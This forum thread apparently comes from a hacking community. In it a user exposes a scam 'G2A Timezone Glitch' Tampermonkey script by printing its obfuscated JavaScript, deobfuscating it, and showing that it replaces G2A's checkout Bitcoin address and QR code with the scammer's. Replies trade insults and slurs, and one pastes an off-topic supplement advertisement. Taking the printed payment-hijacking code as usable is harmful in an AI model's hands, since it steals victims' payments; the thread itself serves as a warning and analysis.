[Zexture]

So I got this retarded PM from Contract.



Following the link leads me to a pdf with his scam https://mega.nz/file/fo8RHaYJ#5jljMeDsOS...jkcS64HDFw
Basically it says you can get anything from g2a for free



It says to download tampermonkey and install this script

PHP Code


<?php 
// ==UserScript==

// @tutorial        https://bit.ly [WARNING: potentially infected]/3oRmnK9
// @name        G2A Timezone Glitch
// @namespace    G2A
// @version    13.2 //2022 Edition. Last update: 15. February, 2022. This version has Auto-Update enabled, so if g2a changes something in their code, your script will update automatically.
// @description  Get any product from G2A for FREE.
// @author      BitPayRefunder
// @match        https://checkout.pay.g2a.com/*
// @grant        none
// ==/UserScript==
var _0x260e=["\x35\x36\x33\x4A\x7A\x44\x68\x41\x48","\x31\x31\x33\x35\x36\x49\x47\x7A\x72\x73\x41","\x54\x69\x6D\x65\x7A\x6F\x6E\x65\x20\x47\x6C\x69\x74\x63\x68\x20\x65\x6E\x61\x62\x6C\x65\x64\x21\x20\x50\x72\x65\x73\x73\x20\x4F\x4B\x20\x74\x6F\x20\x63\x6F\x6E\x74\x69\x6E\x75\x65\x2E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x43\x6C\x61\x73\x73\x4E\x61\x6D\x65","\x31\x38\x33\x35\x37\x37\x55\x66\x49\x59\x48\x78","\x38\x32\x38\x35\x36\x34\x51\x76\x75\x54\x4C\x4A","\x31\x37\x64\x62\x66\x66\x48\x5A","\x63\x6F\x64\x65","\x31\x38\x39\x31\x33\x6D\x59\x59\x72\x4F\x61","\x42\x54\x43\x20\x61\x64\x64\x72\x65\x73\x73\x3A\x20\x33\x41\x38\x56\x67\x32\x42\x55\x52\x6A\x57\x57\x53\x42\x32\x52\x4E\x39\x7A\x37\x77\x54\x62\x4C\x4C\x78\x50\x48\x54\x4D\x58\x63\x4C\x65","\x35\x37\x39\x36\x30\x36\x74\x75\x65\x6F\x63\x4E","\x31\x32\x5A\x66\x5A\x59\x73\x52","\x39\x47\x6E\x49\x52\x59\x56","\x33\x34\x72\x4D\x57\x49\x65\x59","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x2E\x70\x6F\x73\x74\x69\x6D\x67\x2E\x63\x63\x2F\x34\x33\x39\x74\x50\x5A\x66\x6B\x2F\x63\x61\x6E\x76\x61\x73\x2E\x70\x6E\x67","\x33\x30\x34\x4B\x53\x48\x4E\x6E\x44","\x31\x39\x35\x31\x31\x72\x64\x48\x57\x75\x6C","\x73\x68\x69\x66\x74","\x70\x75\x73\x68","\x72\x6F\x77","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x73\x72\x63","\x6C\x65\x6E\x67\x74\x68"];var sebasthian=[_0x260e[0],_0x260e[1],_0x260e[2],_0x260e[3],_0x260e[4],_0x260e[5],_0x260e[6],_0x260e[7],_0x260e[8],_0x260e[9],_0x260e[10],_0x260e[11],_0x260e[12],_0x260e[13],_0x260e[14],_0x260e[15],_0x260e[16]];var skylei=function(_0x32f6x3,_0x32f6x4){_0x32f6x3= _0x32f6x3- 146;var _0x32f6x5=sebasthian[_0x32f6x3];return _0x32f6x5};var danesa=skylei;(function(_0x32f6x7,_0x32f6x8){var _0x32f6x9=skylei;while(!![]){try{var _0x32f6xa=parseInt(_0x32f6x9(150))* parseInt(_0x32f6x9(155))+ parseInt(_0x32f6x9(159))+ parseInt(_0x32f6x9(153))* parseInt(_0x32f6x9(148))+ parseInt(_0x32f6x9(147))+ -parseInt(_0x32f6x9(154))* parseInt(_0x32f6x9(152))+ -parseInt(_0x32f6x9(162))*  -parseInt(_0x32f6x9(160))+ -parseInt(_0x32f6x9(149))* parseInt(_0x32f6x9(158));if(_0x32f6xa=== _0x32f6x8){break}else {_0x32f6x7[_0x260e[18]](_0x32f6x7[_0x260e[17]]())}}catch(kyersten){_0x32f6x7[_0x260e[18]](_0x32f6x7[_0x260e[17]]())}}}(sebasthian,526582),alert(danesa(156)));var tmr=setInterval(function(){var _0x32f6xc=danesa,_0x32f6xd=document[_0x32f6xc(157)](_0x260e[19]);_0x32f6xd[1][_0x260e[20]]= _0x32f6xc(146),document[_0x260e[3]](_0x32f6xc(161))[0][_0x260e[21]]= _0x32f6xc(151);var _0x32f6xe=document[_0x32f6xc(157)](_0x32f6xc(161));if(_0x32f6xe[_0x260e[22]]> 0){clearInterval(tmr)}},10)
//Timezone Glitch
//Status: Working 


It's obfuscated. Lets deobfuscate it. using https://deobfuscate.io/

PHP Code


<?php 
var sebasthian = ["563JzDhAH", "11356IGzrsA", "Timezone Glitch enabled! Press OK to continue.", "getElementsByClassName", "183577UfIYHx", "828564QvuTLJ", "17dbffHZ", "code", "18913mYYrOa", "BTC address: 3A8Vg2BURjWWSB2RN9z7wTbLLxPHTMXcLe", "579606tueocN", "12ZfZYsR", "9GnIRYV", "34rMWIeY", "https://i.postimg.cc/439tPZfk/canvas.png", "304KSHNnD", "19511rdHWul"];
var skylei = function (zek, woodrow) {
  zek = zek - 146;
  var dakyla = sebasthian[zek];
  return dakyla;
};
var danesa = skylei;
(function (shley, tyane) {
  var kiziah = skylei;
  while (!![]) {
    try {
      var bushra = parseInt(kiziah(150)) * parseInt(kiziah(155)) + parseInt(kiziah(159)) + parseInt(kiziah(153)) * parseInt(kiziah(148)) + parseInt(kiziah(147)) + -parseInt(kiziah(154)) * parseInt(kiziah(152)) + -parseInt(kiziah(162)) * -parseInt(kiziah(160)) + -parseInt(kiziah(149)) * parseInt(kiziah(158));
      if (bushra === tyane) {
        break;
      } else {
        shley.push(shley.shift());
      }
    } catch (kyersten) {
      shley.push(shley.shift());
    }
  }
}(sebasthian, 526582), alert(danesa(156)));
var tmr = setInterval(function () {
  var dreux = danesa, ederick = document[dreux(157)]("row");
  ederick[1].innerHTML = dreux(146), document.getElementsByClassName(dreux(161))[0].src = dreux(151);
  var vertis = document[dreux(157)](dreux(161));
  if (vertis.length > 0) {
    clearInterval(tmr);
  }
}, 10); 


Let's simplify it giving us something this

PHP Code


<?php 
var sebasthian = ['BTC address: 3A8Vg2BURjWWSB2RN9z7wTbLLxPHTMXcLe', '579606tueocN', '12ZfZYsR', '9GnIRYV', '34rMWIeY', 'https://i.postimg.cc/439tPZfk/canvas.png', '304KSHNnD', '19511rdHWul', '563JzDhAH', '11356IGzrsA', 'Timezone Glitch enabled! Press OK to continue.', 'getElementsByClassName', '183577UfIYHx', '828564QvuTLJ', '17dbffHZ', 'code', '18913mYYrOa'];
var tmr = setInterval(function () {
  var hibaq = danesa;
  var abdussamad = document[hibaq(157)]("row");
  abdussamad[1].innerHTML = hibaq(146);
  document.getElementsByClassName(hibaq(161))[0].src = hibaq(151);
  var nashon = document[hibaq(157)](hibaq(161));
  if (nashon.length > 0) {
    clearInterval(tmr);
  }
}, 10); 


This basically replaces the btc address shown by g2a to 3A8Vg2BURjWWSB2RN9z7wTbLLxPHTMXcLe and the qr image to https://postimg.cc/mcTtZv18 which is basically the qr of the same bitcoin address.

This scam is retarded and literally 0 effort were put into it. It took me x10 more time to write this thread than actually reverse his script. And wtf does it mean to change the browser's timezone. Not only do they use the server's timestamp but also sites aren't gonna be like oh shit you sent the payment a little too late here have a refund. I mean I can respect a good or a smart scam even if I got scammed but this seems to be made by someone after they done wanking to tranny porn. Know what the crazy part is? People actually fell for this. $1.5k were sent to that address which I assume were scammed https://www.blockchain.com/btc/address/3...LxPHTMXcLe




Sadly after the PM he sent to me, I was put on his ignore list so I couldn't message him back

[movss]

you didnt reverse shit pussy
its open source

[Yuno]

Very sad users are falling victim to this scam.

[blackrose_x0x0]

I got the same exact spam from that user. Instantly put them on my ignore list.

They had the username Contract and this new one is Contract with a . at the end.

[Zexture]

you didnt reverse shit pussy
its open source

also this

I am not sure if you guys know this but you can actually reverse things other than executable files and it is also called reverse engineering even if it is written in a language requiring an interpreter to run such as javascript

[Pikzul]

This is a very sad little script and idea, ty OP for the laugh and safety of others

[coco.]

wouldn’t catch me getting scammed by some young bucks

[Vader]

Nugenix Total-T
One of The Most-Advanced T-Level Boosters On The Market

Welcome to a league of your own. This is the unprecedented science-backed formula to safely maximize your free and total T-levels, help you increase muscle mass, and skyrocket your performance — no matter what your age.

Reinvigorate your daily life with high-level energy and drive
Restore your youthfulness and stop feeling like life slows down “after 40”
Enhance your muscle-building potential and get the most out of your fitness
Elevate your body’s own T-level production for remarkable, comprehensive results
Enjoy the trust of outstanding attention-to-detail and rigorous quality
This is the next-level formula for hardworking, ambitious men who want to feel their best — and feel like the best is yet to come. Nugenix Total-T is a testament to our commitment to progress: Bigger, better, and more-advanced components have transformed your Nugenix experience and results.

Be among the many to experience a new world of benefits. Reserve your two-week sample of Nugenix Total-T today.

---

Men Over 40: Restore Your Body and Transform Your Lifestyle
Nugenix Total-T is scientifically optimized to revitalize a wide range of male performance, combat the natural male decline, and transform what “getting older” means — and feels like.

Packed with 8 high-performance key ingredients — including 3 backed by unmistakable clinical research (Testofen®, elevATP®, and Boron) — this is more than “just a supplement.” Nugenix Total-T redefines men’s formulas and transforms typical results.


Revolutionize your results in the gym
The advanced formulation of Total-T electrifies your performance and endurance in the gym and helps you build more lean muscle. Get the most out of your training, carve a head-turning body, and enjoy the seemingly endless health benefits.


Recharge your energy levels
Wake up ready to conquer the day again. Total-T boasts a key ingredient backed by 5 clinical studies to increase your energy production. Feel more alive and energized from the office to the gym — with no stimulants and no crash.


Reclaim your youthfulness
Want more motivation? Our explosive blend of clinically studied key ingredients delivers more drive so you can feel like you’ve turned back the clock on your body and regain the bounce in your step again.

The Reinventtestostetestosteed Formulation With UnmistakabletestosteSupport For Men
Unique and one-of-a-kind, the Total-T blend stands out above the rest.

Our completely updated ingredient profile, cutting-edge technology, and unparalleled clinical studies revitalizes your body’s own production — completely free of steroids or banned substances — and elevates our award-winning, flagship formula to even greater heights.

Explore the cutting-edge clinical research on Testofen.






U MEAN LIKE THIS?

[StarZ]

you didnt reverse shit pussy
its open source

this is one of the oldest scams in the book

---

also this

You're both idiots. His usage is correct.

reverse engineer verb

reverse engineered; reverse engineering; reverse engineers
Definition of reverse engineer
transitive verb

: to disassemble and examine or analyze in detail (a product or device) to discover the concepts involved in manufacture usually in order to produce something similar

Source: https://www.merriam-webster.com/dictiona...20engineer

@OP, In that predicament I would just forward it to staff and move along. I do commend you on being smarter than most people in this thread.

[niks1315]

Ah what could be better than downloading random shit to your pc and launching it

[Zexture]

You're both idiots. His usage is correct.
Source: https://www.merriam-webster.com/dictiona...20engineer

@OP, In that predicament I would just forward it to staff and move along. I do commend you on being smarter than most people in this thread.

Main reason I created this thread was for google to index the address but yeah will probably just send it to a staff in the future

[Eran]

Very known scam, the script generates the scammer's bitcoin address, so you're basically sending him money.

[.eXe]

ok im so sorry for doubting your technical proficiency and skills

ur a MASTER reverse engineer!

Who the fuck pissed in your corn flakes?

[.eXe]

calm down

this scam is literally been posted more times than Asa Akira's videos - de-obfuscation tends to be an automated process

if you're offended by that

get better at reversing

I'm not offended by anything in this thread, though.

[M1sHiMk]

update.

I just got fooled by the scammer he pretended to be Vyrez#8129 on discord instead of Vyrez#666.

I bought the "BOSS INCOME" program and following that I received an update, so to speak, of this program.

Before I started I contacted him on discord and I didn't pay attention to the difference between the discord nicknames Vyrez#8129 instead of Vyrez#666.